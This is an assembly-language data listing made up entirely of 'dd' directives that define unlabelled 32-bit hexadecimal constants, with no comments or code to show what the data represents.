dd 2CFE4F83h, 0B8A82B61h, 33EC4203h, 561F20A0h, 0ABC3539h
dd 0B06F8ED2h, 0AD05E204h, 8D7DD581h, 0FB3DD0CCh, 462D4182h
dd 7560D9CEh, 9400CFCCh, 0BE8587C2h, 13D596B4h, 1F44386Ch
dd 54470701h, 574581BDh, 0BC2CEC18h, 1C0B1902h, 87FFE4D8h
dd 0C7817C8Ch, 94509C88h, 0FC45EB37h, 1D800DB7h, 329E328h
dd 0FCD164B8h, 98309114h, 0DCE08900h, 4222064Dh, 2926DA03h
dd 80DD053Eh, 3AE55C0Bh, 0D83A15BAh, 6E3D0400h, 0EFF1CA66h
dd 58C1AB00h, 0D34B8A2h, 30800F38h, 96C794A0h, 406047D9h
dd 0C42730Bh, 9E6FE101h, 0EF580EEh, 8C33F4h, 2D07047Ah
dd 8DE12B14h, 0FCC2A12Ah, 187E6104h, 6880563Bh, 12FD5446h
dd 4063AEB5h, 30C66224h, 3200C744h, 19439CB8h, 0A4B10826h
dd 0EE2F06D4h, 3045F2A0h, 2234D048h, 54FA1D28h, 12C82A51h
dd 1F2FE860h, 6868248Ch, 5B1224h, 0A38612A0h, 50034729h
dd 0FD42BB15h, 9520036Dh, 5B12FACh, 6BC1BC97h, 1E1828C8h
dd 0A3092169h, 97C821B2h, 0B4ED3DD5h, 0D7C46980h, 0FBA7D4DFh
dd 0DAA86C0Dh, 2CEE20B8h, 0BA11D050h, 99661142h, 1B22292Fh
dd 0C81EF0FFh, 419CE40h, 0FC243519h, 0AD5600E2h, 75D31A2Fh
dd 20087A9h, 93476FA1h, 908CB459h, 45200240h, 442F6D8Dh
dd 0B85B8890h, 0DC46E200h, 50481A25h, 3EA200EEh, 0A74092F9h
dd 982415D5h, 0A900A030h, 0B45D309h, 0BF541364h, 0C4C4126h
dd 0FE294310h, 0D42A3441h, 0A1908298h, 0C8F6ACA9h, 77904BFEh
dd 68F08026h, 0A59A7040h, 48BC1585h, 8000BCEEh, 0F4A604E8h
dd 0D7F2FB32h, 6890C870h, 776C6501h, 0DB523C2Dh, 2482A054h
dd 0A8EF218Bh, 93242467h, 4565860Bh, 30FF094Eh, 4A8068h
dd 8D865EDBh, 6EABB1C1h, 504878D2h, 0FDCC80C4h, 57BF84F3h
dd 214C43F1h, 43AEB91Ch, 981A8E6h, 3D1173B6h, 59C1E0C7h
dd 0CFBD14A2h, 61645CD8h, 443FC055h, 0AC5C6F4Dh, 30AB010Ch
dd 0D249E9C2h, 0ED60C024h, 43E8192h, 80B1AB18h, 547DC0F0h
dd 16D889C0h, 1501CC45h, 6CBB4080h, 0FBDE3206h, 0D53971A6h
dd 0BBC301A3h, 5894E8B1h, 3002463h, 40353D10h, 1803014Eh
dd 59B6BE0Ah, 180847FAh, 157482C0h, 0C2007AB8h, 0A8B3EE9Dh
dd 12C6F358h, 27E85909h
dd 0D27B80C8h, 0BB004137h, 94E4C31Dh, 2911D5h, 83B718C4h
dd 0BD75868Fh, 23F2CB0Eh, 474D490h, 7A32F320h, 2A12A8C7h
dd 2540803Ch, 7819D009h, 0D9BD0383h, 0DD622BF2h, 87553901h
dd 7F17CBC2h, 15E88C51h, 0D1DEC980h, 98286DD9h, 0A9C030E8h
dd 0CBC843B8h, 4542023Ah, 33A17CFDh, 2343048h, 0A5F9F002h
dd 6340CFE0h, 3087E530h, 0C7C1A250h, 0C15188Dh, 48D2F0C8h
dd 80C06C54h, 81057379h, 1DA93BFCh, 0BBC82893h, 5946F929h
dd 916C60h, 0C6BCADD8h, 98A770E9h, 85480D58h, 0A44144E6h
dd 30E10B9Eh, 32053882h, 0B80096B7h, 0F3FD294h, 313C2C68h
dd 14D066EAh, 71C80887h, 910F68C0h, 0F94324D2h, 0E6003EA1h
dd 15700565h, 8D008092h, 0B1DF8BBDh, 155F959Fh, 202BBE18h
dd 0F581Fh, 0C44519D8h, 3B5C737Fh, 0C1EF0B1Ch, 421C0099h
dd 9062082h, 6E076D41h, 0D8550D06h, 0E1FC0135h, 60A02B80h
dd 6910C054h, 0C6B830AFh, 2A90FC99h, 547F6B1h, 1E5F2098h
dd 85944385h, 226E42D2h, 0E88535C0h, 91D80E01h, 0D04015A5h
dd 0D8941E14h, 0CBD3F505h, 88C7B7B8h, 0C7DC07C9h, 7F423690h
dd 299E20DDh, 2A279F1Eh, 907183BBh, 0D82C91D7h, 75C1F051h
dd 5A17495h, 2B3AD443h, 0D2E88133h, 0C7F184FEh, 41E320Fh
dd 0D2CA5F20h, 0D061993Ah, 3E388EBCh, 0ADEE4045h, 2594E3Fh
dd 0E09D0BB8h, 891464Ah, 4C201840h, 247C288Ch, 0CAE32h
dd 3EC8B570h, 117B9558h, 0FF286E14h, 4F7DE044h, 0A8D4B385h
dd 67FD0070h, 36D7AB69h, 5005576h, 0E1BF28A4h, 32CB3170h
dd 0B384DFEh, 1206F010h, 20155ECDh, 0DF4811FCh, 75FDEF15h
dd 0B07301D0h, 81CD15B7h, 0AE14C823h, 2502A086h, 0B52B9442h
dd 5B67CC99h, 0C7C012B0h, 40AA457h, 4486A48Fh, 380433h
dd 0D2A1FB99h, 45758089h, 39342C05h, 832ADA6h, 67E63093h
dd 0A5F05909h, 0C3B02095h, 12686FD2h, 3B7B68Ch, 2AE4FEF4h
dd 13ACE85Ah, 0B401D849h, 685319A1h, 0D1FC2081h, 12797EEEh
dd 3424C99h, 0C88A0181h, 35F3111Eh, 0E4AF499Eh, 76394060h
dd 4100E209h, 685A6C2Eh, 0FEC33EDh, 9099076Fh, 0E0C31E63h
dd 0D09EA6C1h, 0BB3C3C3Fh, 38B4CC68h, 0AA9F1854h, 0FFC968h
dd 0D342331Bh, 2118631h, 24B42C48h, 66E2B0CAh, 8A670049h
dd 515D1DE8h, 2C4380D4h, 92403942h, 976D2644h, 192B9FE0h
dd 0FA051841h, 2CEF1040h, 7BCF0B05h, 80C0C853h, 0F3B2173h
dd 0C66345E8h, 18DF9EC6h, 12ADB907h, 0C8D010D7h, 2C4680AEh
dd 806C732Bh, 0FC782C2Eh, 4C60F08Ah, 3EFFD291h, 0E1460039h
dd 60D83C48h, 411E3058h, 0E2071643h, 0F9875E94h, 0C350C0BAh
dd 0B8378082h, 500AE70h, 0E41A454Ch, 0EF88FB7Ch, 249415FCh
dd 15685C96h, 0D5159022h, 611418B7h, 53B23036h, 0F680F0A0h
dd 56601B9Fh, 25B77340h, 17EA99h, 82020A88h, 84093F2Eh
dd 6BD2B315h, 5C0175D0h, 831C01B8h, 0A02013F4h, 20AD17B5h
dd 16A00FECh, 6142485h, 9006D00Ch, 70E4FF52h, 42BAED0Ch
dd 2EBB993Ch, 80A8CDB3h, 5EB42E15h, 540CF0E9h, 187318E2h
dd 8914093Ch, 1C00CFA7h, 8B1DF7FDh, 0EC452B26h, 95277D00h
dd 9ABB2D5Dh, 0DCF53EE4h, 54D84B2Ah, 6C408B9h, 0CEAD6AD4h
dd 0BC4F8156h, 705031A8h, 7B1C0A0Bh, 0FCCA73h, 15AC27B7h
dd 0A491C73Dh, 0B600AD24h, 2416C367h, 1FA27CFCh, 0A68245BAh
dd 6E1286FCh, 0B57C40CCh, 80016C28h, 84553106h, 49C3A1h
dd 0B3034A7h, 4452D210h, 5099421Dh, 0B0219E1Bh, 13D302Ch
dd 8305805Ah, 200EC315h, 4F50F11Ch, 857110FCh, 0E12CEA00h
dd 0AB7BD046h, 2078D3B7h, 5F93ADD0h, 0A4B4A4A0h, 0F2144080h
dd 0C200F349h, 18C07C09h, 1548C921h, 909A47h, 8918FBCBh
dd 30FA6D3Ah, 0F974A87Bh, 2DB0D050h, 18546E07h, 0A0EE2313h
dd 3F077260h, 921D02ACh, 9CF5BA26h, 3EB73882h, 422D4F00h
dd 4A433025h, 9F2E8010h, 0D9F0BE00h, 0F4E0E68Eh, 0E8E3004Ch
dd 0A9DE4B84h, 93007CAAh, 0DA383B90h, 1DBDBB52h, 4E3D682Ah
dd 74407180h, 69532CC5h, 0B8219900h, 3540E10Eh, 16DC3DA6h
dd 0A7B500FDh, 7BFAF7BCh, 2C00383Ch, 0BF18CEA1h, 342ECE0h
dd 40BD89C7h, 30F80117h, 366016BEh, 0E53C2170h, 3E460060h
dd 6E92394Ah, 0A1009103h, 99D20915h, 0F0ACD640h, 22AE002Dh
dd 44D788C8h, 5B0B0EC1h, 12C2ACCh, 0D668384Ch, 7C5255F0h
dd 20DA0458h, 0C087C1C8h, 11233AD4h, 967692FCh, 0D6AF78C0h
dd 0A53E80h, 0F71BC774h, 0A3F836BFh, 47EC5806h, 9604355h
dd 0DBA8BDD9h, 0C5385A80h, 3701D10Eh, 7AB20F95h, 0B89EA625h
dd 883F00A1h, 0C76A0E32h, 0D7C68100h, 84A373BDh, 1B5F0067h
dd 6D28A768h, 9600128Eh, 13E0F34Eh, 0BC1709h, 0A1D48325h
dd 0BBD32B0Dh, 1A00C5F0h, 0FF1B36FDh, 63A41997h, 0D47908D0h
dd 2EB2000h, 601CC4FDh, 0D6EF047h, 26A1CA8Eh, 0A478F041h
dd 0D638BC50h, 13D9C31Fh, 0EFE02177h, 0F46CFC57h, 0D6C91001h
dd 888864C1h, 4BFD1760h, 98371B10h, 0E68170C8h, 9BF4FCFFh
dd 20E41521h, 2A49006Eh, 746C6A0Dh, 0FC13CC96h, 6D07F8EBh
dd 0BCF30F0Ch, 0E2CFC0D0h, 0FC98A0F0h, 0B85A0707h, 0D08E9BAAh
dd 7EC92D31h, 0D83EB307h, 0E5E006C6h, 51DA29Eh, 0B074E673h
dd 0AAC1C086h, 0E80E224Bh, 0B795F8h, 0E6FCDC5Dh, 5AC00E23h
dd 86C071BCh, 0A5742425h, 9D31B00h, 0CD5F9CB7h, 0FF850076h
dd 0B88166Fh, 9B0799C2h, 8DBEE2B8h, 70C0EFB0h, 479000CAh
dd 0DB6066CEh, 0EB0024D7h, 6316EC2Eh, 159703Eh, 8AC184B9h
dd 9EF0784Eh, 26DF31A8h, 0BB1C7E00h, 0FC111A5Ah, 0A0C607E0h
dd 0A7051710h, 3A577079h, 0AAF09F74h, 0B2B94E00h, 0E4D452BFh
dd 0C14A0067h, 997B2F92h, 4706AA19h, 0BCB931EAh, 0CB0C0758h
dd 0A0C02E69h, 446B48BBh, 0AD49E40Ch, 30820D6h, 0F91AE6D8h
dd 783B64DDh, 11788331h, 0E89719B6h, 283E2D5h, 61625E9Bh
dd 1E425155h, 0F5B38020h, 10034159h, 52F0306Ch, 19219857h
dd 0B7160071h, 0E8D9A0C7h, 0B6031CA7h, 24F24393h, 232E872h
dd 4A0F00ABh, 0B9801379h, 0A300F6D5h, 29938CB1h, 0CA6CCCh
dd 0A5854640h, 2D9713A1h, 72B3CD03h, 0A0B2E66Eh, 73F2AA4h
dd 12B92E85h, 3519A073h, 3D060FB0h, 292267C2h, 837F0020h
dd 0E45E6D12h, 0C5F652A6h, 0D816EB00h, 42FE382Ch, 0C35D017Fh
dd 0E5B990FCh, 0E75A30B5h, 4700EE77h, 463F0579h, 10E5DA5h
dd 44F401D7h, 98EBFE53h, 0BE215108h, 800D00F7h, 5B0102DFh
dd 0C50CB6B3h, 5A2D0748h, 169F09Fh, 0DF8E4DD0h, 94E73940h
dd 28976EC0h, 506107Eh, 8540E227h, 0B888C859h, 0D40FEAC0h
dd 455C2101h, 0F8BFC4BBh, 626C000Eh, 233DE215h, 1D02D054h
dd 3E05198Ch, 1E3C4103h, 3010B456h, 3420DFF1h, 62075A69h
dd 92F275E6h, 0FBA714B3h, 244CD85Ch, 9B734Fh, 526822Fh
dd 20C3E47h, 0D11DEA00h, 2D66779Dh, 48F2A0h, 0F4CEA261h
dd 93EDB830h, 0C10B9A1Dh, 0C25CF5C0h, 0F736956h, 0B9011C3Eh
dd 47688120h, 46000C39h, 0D64D8FBBh, 3CE3BD41h, 6000F9E1h
dd 0BEF11CB9h, 0DD001166h, 42BB1F7Ah, 5CAEDB0Ch, 0C400B823h
dd 79A2AC44h, 48C15DE7h, 9ECC81CDh, 706A420h, 76700FA3h
dd 0FF689039h, 0EF03F228h, 93B9372Dh, 0B69AE073h, 43E2056Bh
dd 0EE1E15A9h, 0AB91FEC0h, 1A3B1F3Fh, 292D0046h, 44717AB3h
dd 0F7B16060h, 0BE8B9Eh
dd 665AD7D9h, 892572C2h, 4F885401h, 0B8F67A7Fh, 92EAFCh
dd 1884F715h, 11573B22h, 2868BB00h, 4E7A23A9h, 0F1C0392h
dd 30C489CDh, 2BA2B81Eh, 0EA9FFC40h, 0C4665A8h, 6667C396h
dd 5B001490h, 1B2A0E04h, 0E7303F4h, 6FE72D45h, 0A5DB019Eh
dd 0FC21E926h, 9800F2EBh, 0BF13FAAEh, 582D3FD6h, 5E1EB58Dh
dd 37F2EC28h, 5CF3E428h, 1938FD91h, 0E24470C4h, 0F828A1F3h
dd 0BE951441h, 13DD6611h, 31510007h, 506FA592h, 6A0058F7h
dd 41762A0Ah, 89FA24h, 3DC7C825h, 8501E6EEh, 0B5A02F01h
dd 0D6FE6A7Dh, 7078B020h, 0B62A0056h, 47954199h, 3D1D21B9h
dd 0D8001D8Ah, 0F6BBDEA1h, 86193A31h, 9C847780h, 6D7CCF57h
dd 0D8F76600h, 5E41CBB4h, 0EB0F00DAh, 2056F137h, 51007074h
dd 0C47AE5BDh, 0B86AA2CEh, 0B9250410h, 0AB46C68Fh, 0D3B70400h
dd 0EA78B1C0h, 4D5A00A9h, 274E605Bh, 960085ABh, 0E50ABFECh
dd 5900761h, 2F67153Dh, 0B6CC0F44h, 0CF34B94Eh, 83BC280Fh
dd 7BA0874Fh, 41E7105Eh, 881A6500h, 92334CCBh, 1C3B0099h
dd 0F8B98956h, 4400E90Ch, 168F7ABh, 1DE6A025h, 0C0D040F4h
dd 0F9280E62h, 6F01C2FFh, 0BE2A448Dh, 8FF4A02Bh, 0F45904E9h
dd 90B829B0h, 58999B10h, 0A4BE7400h, 0D46F2107h, 0AD2C0039h
dd 18B37DA6h, 6100C2C0h, 0E891AF93h, 83D9C5h, 7CB83972h
dd 3B5A27Eh, 12031DB0h, 5DCD95A7h, 7136D81Fh, 0A9800A5h
dd 5243E71Eh, 0C4007B6Bh, 0A9EC3DC0h, 90FB07h, 3F4EEF48h
dd 74EA3B41h, 0DC79171Fh, 0F63EB543h, 382B012h, 0D0DE07D5h
dd 0AE5D4C37h, 4E6593E1h, 5A50F4ABh, 9F005974h, 5509611Eh
dd 3D3EDBEh, 0C4BDD538h, 2D06EC5h, 7B0EC3AAh, 806C449Ah
dd 371CFAF9h, 7FD107DDh, 0A7BA28C2h, 3294507Ah, 2300C925h
dd 0C0DEFD4Eh, 0F2C58Bh, 0C44FE55Ah, 781D37B1h, 2B45900h
dd 176D81CBh, 1FA37AA7h, 413E3Dh, 0A5D416E0h, 0FF00EE54h
dd 80914536h, 0D62495h, 467FB481h, 74ADA4CBh, 1C148648h
dd 37AFACEh, 15422BE1h, 4392EAh, 2854A255h, 1C9DC31Fh
dd 82AEF800h, 749B2DA5h, 557C12EDh, 0CAA00008h, 14B57A04h
dd 0ACF8DB06h, 0A8AB39h, 11237CBAh, 0D8A86CD0h, 58724900h
dd 0C51AEF7h, 0CD8500DEh, 68C781FAh, 760086C1h, 46142511h
dd 0B46910h, 90E7A58Ch, 7FC34581h, 0ED392A00h, 0F4CD04C4h
dd 750F2E9h, 594C0D73h, 906E6057h, 64E00777h, 8F009090h
dd 20F172DBh, 0C532E1h, 38C35876h, 0A5BC83Ah, 94C6EE00h
dd 79E870Ch, 532C0F52h, 71411A0Fh, 213037B8h, 3479607Ch
dd 2D024300h, 9FE1B977h, 2FAD0023h, 659E4ADDh, 8EEE7044h
dd 77000892h, 4CCED826h, 80D5C6h, 0C725DD5Fh, 8BE092FDh
dd 4008EFEh, 1F247DB6h, 669307h, 0A628C5C3h, 0E1C8904Ah
dd 8FCF8206h, 24C4715Bh, 8FE63h, 69F58D73h, 10001C15h
dd 0A4CDB7A2h, 4BC82Dh, 0C92908C6h, 0A37A8D9Dh, 0AFE3FE03h
dd 0E8715681h, 745078Ah, 48B7C124h, 0CD9B91E0h, 6DC0C8EEh
dd 77A91E01h, 0A2E4C727h, 0F82D8h, 7EC40821h, 0F2CC742Dh
dd 0DD006370h, 0AE406804h, 0B33ADEh, 4D6D4414h, 584B5506h
dd 75A9850Bh, 0ABB002A1h, 0A830437Ch, 2C2B47B2h, 16A2D0Ah
dd 2CF96EBAh, 5F2EEC87h, 377A0500h, 0FFC1E784h, 9227002Ah
dd 0EE89DBCDh, 7B00E50Fh, 0DE286A62h, 40A638h, 5BB717DDh
dd 6F428E20h, 0B367337Ah, 1FC36210h, 3D35C8EFh, 22FC00DEh
dd 0E855CE66h, 577A284Eh, 36FAB40Fh, 917D019Eh, 7CF4EDA8h
dd 15B23ADCh, 86B1F700h, 97782F5Eh, 8479A4A8h, 0C8D0AC00h
dd 837BADDFh, 0ED2E253h, 0D769A402h, 0A7780A0h, 2A09F934h
dd 0CF06FEh, 0BCDC8265h, 0E2550268h, 91267FAh, 0E083D090h
dd 6A0338h, 0D8BFFC84h, 74A94A7Dh, 0A6403CF0h, 0F212A700h
dd 3A2DCE9Dh, 70E12507h, 41F3CF9Ah, 0A5D2A0B0h, 0C6AB01C3h
dd 0D7CBCC95h, 0D1870E8h, 9C6C3C0Ch, 3D66766Dh, 0C0D87916h
dd 0C3EE7B00h, 3BF9D79Ah, 9DB63A13h, 652E2042h, 618F8E1Dh
dd 4DCD4E5Fh, 1F8DFC30h, 5BB0C6h, 0CF1341F6h, 0AC01439Bh
dd 0EE78766Bh, 0D2C10A69h, 87BFAE40h, 6E3E00D3h, 0C3565C6Fh
dd 811D242Fh, 8F80D877h, 915A1839h, 864701E6h, 0FA627DBFh
dd 5F44FC5Bh, 0D36D4300h, 0B068260h, 66C600E2h, 0DFBE2462h
dd 7E0023AFh, 0BAB06D64h, 3A98BBh, 3EC6EF9Fh, 126AABC5h
dd 2AE62500h, 13BC564Dh, 5460E7C1h, 6D2900EEh, 4BADBEC4h
dd 4071EA6h, 131F3D71h, 3495DA60h, 608A3AFCh, 0B7FD5B80h
dd 1A5C3B14h, 0A005AF6h, 8E1B1A7h, 38F6873h, 91C7285Dh
dd 61D9B24Bh, 525CE835h, 0A10076F4h, 95721A0h, 27318Ah
dd 0C2EEBD9h, 2C940F16h, 0F8004EE4h, 0DF192F81h, 3C61F61h
dd 0F58A3C45h, 68909BB2h, 824D7F24h, 9CA700F0h, 0CDB62390h
dd 0EE57268Dh, 0E78B0E42h, 85F50A00h, 7D0016B4h, 1BECA18h
dd 3C0D3EC2h, 0FE80D187h, 46E73AF4h, 7F00B0F9h, 0E908AEEDh
dd 23F203h, 934ABFC6h, 66A76260h, 757560F1h, 0AD58E000h
dd 312A8CF4h, 7260F63h, 0C16E9411h, 41792902h, 81D930E0h
dd 845D8703h, 0B07FA878h, 1272593Bh, 9705A1h, 0AEF4FFBDh
dd 0E0008F88h, 0B0E51C0Ah, 2C999C64h, 2C4039h, 1E6AF0A4h
dd 4A01C143h, 0FC8550ACh, 5E43F11h, 0DD17005Ch, 6E26F438h
dd 2F001047h, 0B35ED6CCh, 4871B906h, 7AA0CEh, 0F0216F03h
dd 0C5272FF2h, 1CD558h, 1D9B8607h, 121659F9h, 6D41D1h
dd 0A2D95880h, 0E600A3C3h, 85DE302h, 72D56378h, 38B20071h
dd 0B4CB4BBEh, 0AC1F14B1h, 104037E1h, 348EBC90h, 47AA00C5h
dd 64837E61h, 5030B5FCh, 40C27909h, 0C34800E2h, 43B95ACFh
dd 0BD0073D0h, 0FB47798Eh, 28B8FDh, 3DF283B1h, 976DF73Bh
dd 8F1D5A7Ah, 0E3407E16h, 2F9CEB52h, 0C8D46055h, 63900ACFh
dd 0F5D1F300h, 7C70CDE0h, 0C07B008Fh, 5DD00BB4h, 24000FAEh
dd 79967695h, 9AC0446h, 530E7BBDh, 1D32CC82h, 0DEC38FE0h
dd 24CAE701h, 0F4FA6CC0h, 347F2F0h, 0C65CE967h, 6FD0C129h
dd 0B10BE237h, 875DC289h, 0B1AE7BD0h, 2D1E2501h, 2035B5E3h
dd 0A15C3B10h, 4CDB0328h, 0D04222h, 6D9BEC8Ah, 0EB39F5Fh
dd 0EDA19100h, 81235CC0h, 977F24h, 7D717064h, 7F748285h
dd 0E900D873h, 2021FB62h, 8704E8h, 75DAEB23h, 7D6AE458h
dd 3503B8E4h, 3909A7CEh, 23849066h, 2530008Bh, 5BA3C6A8h
dd 9600C4E8h, 0C859B2FFh, 74AB07h, 6B6450B4h, 0C6AD971Ch
dd 8E38FC7Eh, 9A4A806Ah, 0B4903C33h, 95103A7Ah, 0FB809E80h
dd 1D5B89B9h, 0D1F6900h, 861058Bh, 0DD810032h, 122BC411h
dd 93778E44h, 2A8AE600h, 3C879C1h, 47990027h, 66764B62h
dd 8E0E52Eh, 61002A7Eh, 879E122Fh, 35BE6Bh, 0F382E0CAh
dd 0AFF8A81Dh, 0F0C7E0F7h, 4F83D700h, 0F935E806h, 90490C01h
dd 0B428EEF5h, 6C78751Ch, 0B9427E80h, 0F8A9AB67h, 5BE00BDh
dd 73821AE3h, 0A0F4F4Eh, 8098FEFCh, 745C920Ch, 0A2480011h
dd 0C24B011Bh, 5E75AEC6h, 70F9BF8h, 240A19B8h, 0D4800CFFh
dd 0F44260h, 0B47B0550h, 0F523917Eh, 8A35D507h, 0EC002B36h
dd 38EB8B71h, 0FA00F24Ah, 685474E4h, 630059A1h, 72739EB2h
dd 0D33492h, 2E108A9Dh, 0A3F63075h, 0E170B000h, 3B9A4C77h
dd 8DF0001Bh, 6D04C8A2h, 377D269Eh, 852E052Eh, 0D37DC901h
dd 7D315ECFh, 35FDF0h
dd 93C2BCDAh, 710A44FBh, 1C00BB48h, 18BF4A7Fh, 0C310BA09h
dd 0EDFC00F8h, 75D67B25h, 98B0673Eh, 94A93B00h, 0B59EB8B9h
dd 0D3792Ch, 13035FA0h, 0F9C28E11h, 0F166A800h, 37E7BDC0h
dd 722D39D2h, 27FACE00h, 2F8A889Ch, 0C40026F6h, 460EB601h
dd 0DBDA0Dh, 3B98C032h, 0F097E33Eh, 16C2A900h, 71AC72FAh
dd 0C1E000EDh, 76F30C0Eh, 94008706h, 0CCD7934Bh, 0EC3BC7EEh
dd 0F087E1Dh, 0B69962C1h, 0C9943C20h, 0AF0AD596h, 0C8D07C5Dh
dd 5F9BD807h, 3044F301h, 74E54CCh, 70D601F4h, 0E06AB04Bh
dd 0E70A8105h, 88C7223Ah, 9707B200h, 4B16775h, 661759D8h
dd 219080D7h, 0BB003EB7h, 6849F425h, 32B3979h, 0BC51E540h
dd 3D885AA7h, 4600C213h, 36B26C61h, 3ABBF58h, 0B06E95D9h
dd 0DB8A8FBh, 0CC00D851h, 0FEA362B4h, 0A56A86h, 0B7CAC691h
dd 4B47066Ch, 0C3222B0Fh, 0A45F22FCh, 24F4804Ch, 2465E179h
dd 0E19892h, 9B53940Dh, 90797E69h, 57AEAC07h, 9110C263h
dd 754C711h, 0F4BDDA67h, 0D8083666h, 6387100h, 0B9F6DFF9h
dd 0A4A70095h, 624F7E8Eh, 0E90013A0h, 0BFCFBBB6h, 4C063F14h
dd 0A3003C15h, 1B824EA5h, 62006B43h, 420E4D55h, 3154D7h
dd 376EF4DBh, 50655BACh, 322B3500h, 10895845h, 0C55E0049h
dd 411FA96Dh, 0CB483ACEh, 4B1900C0h, 803251F9h, 0F6F410h
dd 3787150h, 47ACEAABh, 0A526A300h, 81941674h, 0B3DD0028h
dd 219383D5h, 4401E5F5h, 41BC557Ah, 0F881C38Dh, 323FA35Dh
dd 0CAE8502Ah, 6B225092h, 3CCF104Fh, 8B6900ACh, 2724C8F4h
dd 3BD4026Eh, 0A525216Dh, 0B1BA7360h, 0B5503200h, 1CC87C57h
dd 287B0027h, 941EB363h, 59009A91h, 0CD4F0E71h, 1F9D6BEFh
dd 92CC7FA0h, 0BB34008Fh, 951E77CEh, 24F01801h, 0EFD81C68h
dd 6058F940h, 9FC9242Bh, 7C5B00A8h, 12D5D056h, 75A17100h
dd 0A496E5F8h, 0EDA0061h, 9B3404E3h, 0EE000A99h, 1DAFF637h
dd 458273h, 6E3205F5h, 4FC6E427h, 3B0DDE00h, 0FD7BCFBFh
dd 1CEB5922h, 0B4C58300h, 0F7E2F9DFh, 6C6212B0h, 6871B636h
dd 759EB140h, 96040F16h, 0A3600A65h, 6FF06C7Bh, 7A4FB00h
dd 0C51C4283h, 5269005Fh, 0F94AECEEh, 65019131h, 1558CB0Dh
dd 0C06E0440h, 3864571h, 22FE4400h, 0FB34C285h, 0D1EE26EAh
dd 0EBA8014h, 7B0246E8h, 0F400F3FCh, 63DBCC70h, 7E6D1520h
dd 0B41D13E5h, 930000Dh, 0F4567BDFh, 110738F0h, 0C6B624AEh
dd 92268401h, 137E2DE4h, 6198ECh, 102AF9DEh, 593D5CBEh
dd 90B980D8h, 0D1072F0Ah, 6785028Ch, 6281A147h, 0B7AAB063h
dd 331E8480h, 9F001F45h, 137B0C66h, 0F079E34h, 3CEEADD6h
dd 0FEA74720h, 0A41CA662h, 99CFC422h, 0DBD140C9h, 0B99369h
dd 90F5EF3Ch, 0DD120BA5h, 8B17200h, 6D43F131h, 0A9C4034Ah
dd 6E1A0FE5h, 13233007h, 6856728Bh, 0FBDD0710h, 27503017h
dd 0C17CD5F7h, 40133B2Ch, 0FD34B4E4h, 61106C00h, 5684F9ABh
dd 3C6F0E47h, 884212A3h, 0DF41BE1Dh, 948BCC28h, 7FADAF1Eh
dd 0A1809D4Fh, 341EBD64h, 8E9FC8h, 23AC43E6h, 0C0D32E1Ah
dd 257E60C1h, 58D3AE12h, 0D00F470h, 0B5347E0h, 8272ACF5h
dd 620129D6h, 77F18FCDh, 18F9B834h, 20DDA3E5h, 0CC0EA46Fh
dd 81DB2698h, 7964CF6Ch, 3B25F0h, 50363AD7h, 86AEB6F8h
dd 0C9C33100h, 95F20E9Eh, 1DCE69Ch, 0CCB72652h, 81F4A122h
dd 88CE6610h, 0F7E0D20Bh, 31F600C8h, 725D2697h, 5A01E853h
dd 0ECFC76D7h, 0BF8B377h, 0B22D00E2h, 441E11B1h, 8A09B867h
dd 80DE9F62h, 0ED7AF666h, 0B545006Eh, 0ED75908h, 9400C569h
dd 0B4E89324h, 1F05B0h, 4C7260C6h, 0AA03E5C4h, 4E9FB100h
dd 0C1011ACh, 43FA035Fh, 1D422BCBh, 0D0B07890h, 9185AE0Eh
dd 8F425F58h, 8311CC0Ch, 0F008EEA8h, 0FECEF34h, 0A451F243h
dd 7F6A76E0h, 0AD540F88h, 960094BCh, 334663E3h, 66317812h
dd 49C00832h, 0E500AFE2h, 0D0090825h, 0F093DBh, 7EB16335h
dd 4782796Ah, 38D4BF54h, 93EDE105h, 22C56629h, 0A28F1E83h
dd 725CE8F4h, 0EFEE002Fh, 0B06D3A92h, 7D19424Ah, 0D8218FC8h
dd 16C5ADF5h, 99D40840h, 2400903Ch, 18445364h, 0B31C086Ch
dd 803920C3h, 23A2983Ch, 166E14E8h, 48005CC1h, 0F6888BEAh
dd 9C05E241h, 5736393Dh, 0C18278C7h, 304426h, 0AB5EB860h
dd 45AD1F12h, 1870D737h, 9FEA2690h, 0D5930117h, 0F73FA1Bh
dd 0A264EC6Fh, 0AD91B8C2h, 9A5890C4h, 0EC8E393Ch, 21A031C6h
dd 0B8F4813Ah, 0E7AE0F95h, 0C781383Fh, 0F8F0F28Fh, 0CD901A10h
dd 0B4F7A00h, 2157A27Fh, 0BBE400CDh, 0E1883685h, 0C1FCBAA3h
dd 8392C500h, 5F3E3F2Ch, 57D205CBh, 80D8FE9Dh, 0EE379EAh
dd 34005976h, 48D7C491h, 11AF055h, 2DAF284Ah, 2098BDA5h
dd 0C4FA4042h, 0EA05580Eh, 685D209Eh, 1EF088FAh, 7A5439h
dd 0A5B776E4h, 56075A49h, 41265115h, 3D75EE80h, 0E8390007h
dd 77054B3Fh, 29CFA484h, 723031h, 733A5FA3h, 3BFDC1EDh
dd 646B7F00h, 67C9A089h, 6E4418F6h, 0CAE84E87h, 0C852CC00h
dd 0E97A217Dh, 0FB748Bh, 0B4266CD3h, 0C6537539h, 3D076179h
dd 0CACF5610h, 0BF91C590h, 5BFD03F9h, 98A6438Fh, 1C4A87h
dd 47A534Fh, 0C0003EE1h, 5CD00734h, 4A938Ch, 0A6B72B72h
dd 0C9811B6Bh, 9A450801h, 69CD1364h, 9F3180D7h, 0F4EA00DCh
dd 19C8B27Ch, 2506A2Ah, 6B055E98h, 0DB351685h, 0F337EF80h
dd 7E07002Eh, 98A40E21h, 0B907D324h, 7305E6C7h, 0A7F15970h
dd 0D64D0069h, 0DF49144Ch, 510E048Ch, 806577BAh, 0A9D4B848h
dd 0EE110003h, 0C1458DB7h, 0BC007A87h, 0B131FBFCh, 757C5DAh
dd 0FE04487Eh, 0C8AA50FDh, 3700D182h, 253E162Bh, 70E2D8h
dd 869675E3h, 55E12ACDh, 7E5FC300h, 0B15CC5E5h, 2FFC00F3h
dd 0DC42EB17h, 0D407D74Dh, 499E30BBh, 0EF80B387h, 1188509h
dd 41A5276Ch, 209F6893h, 0A4003614h, 0C97D7573h, 9AB8B6h
dd 4A46FAA9h, 8430BEC6h, 1B8EFCA0h, 14BA172Eh, 0A1D9B300h
dd 1CFC0CC4h, 73A563h, 8D821D7h, 0DD00CB29h, 50EAF88h
dd 74F8E664h, 0E2860087h, 14D63603h, 0EE1E5DD8h, 4C40261Bh
dd 982B897Fh, 260AE6E8h, 49B14Dh, 12DA44D4h, 9C00662Eh
dd 0B7290453h, 0B3D98Bh, 0EC8539B2h, 0B16BE0EEh, 70608724h
